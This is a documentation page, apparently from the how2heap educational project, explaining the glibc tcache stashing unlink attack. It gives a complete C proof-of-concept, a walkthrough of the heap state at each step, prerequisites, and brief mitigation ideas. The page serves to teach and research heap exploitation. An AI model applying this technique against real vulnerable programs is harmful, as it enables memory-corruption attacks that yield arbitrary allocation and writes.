Skip to main content

Documentation Index

Fetch the complete documentation index at: https://mintlify.com/shellphish/how2heap/llms.txt

Use this file to discover all available pages before exploring further.

Overview

The tcache stashing unlink attack exploits the mechanism by which glibc moves chunks from the smallbin into the tcache. When tcache bins have room (< 7 chunks), glibc will “stash” smallbin chunks into the tcache. By corrupting the bk pointer of a smallbin chunk, an attacker can:
  1. Make malloc return an arbitrary pointer
  2. Write a libc address to an arbitrary location
This technique leverages the tcache_stashing functionality where smallbin chunks are transferred to tcache bins when allocating from smallbins. The stashing process uses unlink-style operations that can be exploited.

Glibc Version Compatibility

Works on: glibc 2.27 through 2.31+ (tested on 2.27, 2.29, 2.31) Requirements:
  • Tcache must be enabled (glibc >= 2.26)
  • Must use calloc() at least once (calloc bypasses tcache initially)
  • Need a writable address to pass bck->fd = bin check

What This Technique Achieves

1

Create smallbin chunks

Allocate and free chunks to populate the smallbin
2

Corrupt victim->bk

Overwrite the bk pointer of a smallbin chunk to point to a fake chunk
3

Trigger stashing with calloc

Use calloc() to trigger tcache stashing from smallbin
4

Get arbitrary pointer and libc write

The fake chunk is stashed into tcache, and a libc address is written to fake_chunk->bk + 0x10

Key Concepts

Tcache Stashing Mechanism

When tcache has space and you allocate from smallbin, glibc will:
  1. Remove chunks from smallbin
  2. Place them into tcache (“stashing”)
  3. Continue until tcache is full (7 chunks) or smallbin is empty
During this process, glibc performs an unlink-like operation:
bck = victim->bk;
bck->fd = bin;  // This writes a libc address!

Why calloc()?

calloc() is special because it bypasses tcache initially and goes directly to smallbin/largebin. This is necessary to trigger the stashing behavior even when tcache has free chunks.

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    setbuf(stdout, NULL);

    printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
    printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n");
    printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
    printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
    printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

    // stack_var emulate the fake_chunk we want to alloc to
    printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
    printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

    stack_var[3] = (unsigned long)(&stack_var[2]);

    printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
    printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
    printf("Now we alloc 9 chunks with malloc.\n\n");

    //now we malloc 9 chunks
    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    //put 7 chunks into tcache
    printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }

    printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

    //last tcache bin
    free(chunk_lis[1]);
    //now they are put into unsorted bin
    free(chunk_lis[0]);
    free(chunk_lis[2]);

    //convert into small bin
    printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

    malloc(0xa0);// size > 0x90

    //now 5 tcache bins
    printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

    malloc(0x90);
    malloc(0x90);

    printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

    //change victim->bck
    /*VULNERABILITY*/
    chunk_lis[2][1] = (unsigned long)stack_var;
    /*VULNERABILITY*/

    //trigger the attack
    printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

    calloc(1,0x90);

    printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

    //malloc and return our fake chunk on stack
    target = malloc(0x90);   

    printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

    assert(target == &stack_var[2]);
    return 0;
}

Step-by-Step Walkthrough

1. Prepare Fake Chunk Structure

unsigned long stack_var[0x10] = {0};
stack_var[3] = (unsigned long)(&stack_var[2]);  // fake_chunk->bk
Fake chunk layout:
stack_var[0] -> (unused)
stack_var[1] -> (unused)
stack_var[2] -> fd pointer (will point to next tcache chunk)
stack_var[3] -> bk pointer (set to &stack_var[2] to bypass check)
stack_var[4] -> Will receive libc address!
The fake chunk’s bk pointer must point to a writable address because glibc will execute:
bck->fd = bin;  // Writes to *(bk + 0x10)
We set bk = &stack_var[2], so the write goes to stack_var[4].

2. Setup Heap State

// Allocate 9 chunks
for(int i = 0; i < 9; i++) {
    chunk_lis[i] = malloc(0x90);
}

// Free 7 chunks to fill tcache (max 7 per bin)
for(int i = 3; i < 9; i++) {
    free(chunk_lis[i]);
}

// Free one more for tcache (now full with 7 chunks)
free(chunk_lis[1]);

// Free 2 more - these go to unsorted bin (tcache is full)
free(chunk_lis[0]);
free(chunk_lis[2]);
State after frees:
  • Tcache bin (0xa0): 7 chunks (full)
  • Unsorted bin: chunk0, chunk2

3. Convert to Smallbin

malloc(0xa0);  // Allocate larger size to trigger sorting
This causes unsorted bin chunks to be sorted into their respective bins:
  • Unsorted bin → Smallbin[0xa0]: chunk0, chunk2

4. Make Room in Tcache

malloc(0x90);  // Takes from tcache (6 remaining)
malloc(0x90);  // Takes from tcache (5 remaining)
Current state:
  • Tcache bin (0xa0): 5 chunks (has room for 2 more)
  • Smallbin[0xa0]: chunk0 ← chunk2

5. Corrupt victim->bk (Vulnerability Point)

This is where the vulnerability is exploited. An attacker with a write primitive corrupts the bk pointer of a smallbin chunk.
chunk_lis[2][1] = (unsigned long)stack_var;  // Overwrite bk pointer
Smallbin structure after corruption:
chunk0 ← chunk2
         ^     |
         |     v
         |   stack_var (fake chunk)

6. Trigger Stashing with calloc

calloc(1, 0x90);
What happens inside glibc:
  1. calloc() bypasses tcache, goes to smallbin
  2. Returns chunk0 to user
  3. Stashing begins: Move remaining smallbin chunks to tcache
  4. Process chunk2:
    bck = chunk2->bk;           // bck = stack_var
    bck->fd = bin;              // stack_var[2] = bin (libc address!)
    tcache_put(chunk2);         // Put chunk2 in tcache
    
  5. Process fake chunk (stack_var):
    bck = stack_var[3];         // bck = &stack_var[2] (our fake bk)
    bck->fd = bin;              // stack_var[4] = bin (another libc write!)
    tcache_put(&stack_var[2]);  // Put fake chunk in tcache!
    
Two key results:
  1. Our fake chunk is now in tcache
  2. A libc address was written to stack_var[4] (arbitrary write primitive!)

7. Get Arbitrary Pointer

target = malloc(0x90);  // Returns &stack_var[2]!
Success! malloc returned a pointer to our controlled stack memory.

Attack Summary Diagram

Before calloc:
  Tcache (0xa0): [ 5 chunks ]
  Smallbin[0xa0]: chunk0 ← chunk2 (victim) → stack_var (fake)

During calloc(1, 0x90):
  1. Return chunk0 to user
  2. Stash chunk2 → tcache
  3. Stash fake chunk → tcache
  4. Write libc addr to stack_var[4]

After calloc:
  Tcache (0xa0): [ 7 chunks ] (includes fake chunk)
  
Next malloc(0x90):
  Returns stack_var[2] (our fake chunk!)

Prerequisites

1

Smallbin chunks

Ability to fill tcache and create chunks in smallbin
2

Overwrite bk pointer

Vulnerability allowing corruption of a smallbin chunk’s bk pointer
3

Writable target

A writable memory address to bypass the bck->fd = bin check
4

calloc() usage

Ability to call calloc() to trigger stashing (or another path that triggers smallbin→tcache stashing)

What You Gain

1. Arbitrary allocation:
  • Make malloc return a pointer to your fake chunk location
  • Gain write access to stack, .bss, or other memory regions
2. Arbitrary write of libc address:
  • Write a libc address (main_arena pointer) to fake_chunk->bk + 0x10
  • Useful for:
    • Defeating ASLR (if you can read back the written address)
    • Overwriting function pointers with libc addresses
    • Creating fake structures that need libc pointers

Hitcon 2019 - One Punch Man

Real-world CTF challenge using tcache stashing unlink attack

Try It Yourself

Practice on Ret2 Wargames

Debug this technique in an interactive browser environment

Detection and Mitigation

Why this works:
  • Tcache stashing code doesn’t fully validate chunk pointers
  • The unlink-style operation trusts the bk pointer
  • No validation that chunks being stashed are from the heap
Potential mitigations:
  • Validate bk pointers during stashing
  • Check that chunks being moved to tcache are within heap bounds
  • Add safe-linking style protections to bk pointers
  • [Unsorted Bin Attack/techniques/bins/unsorted-bin-attack) - Similar bk pointer corruption
  • Tcache Poisoning - Direct tcache fd corruption
  • [House of Lore/techniques/house/house-of-lore) - Smallbin corruption for arbitrary allocation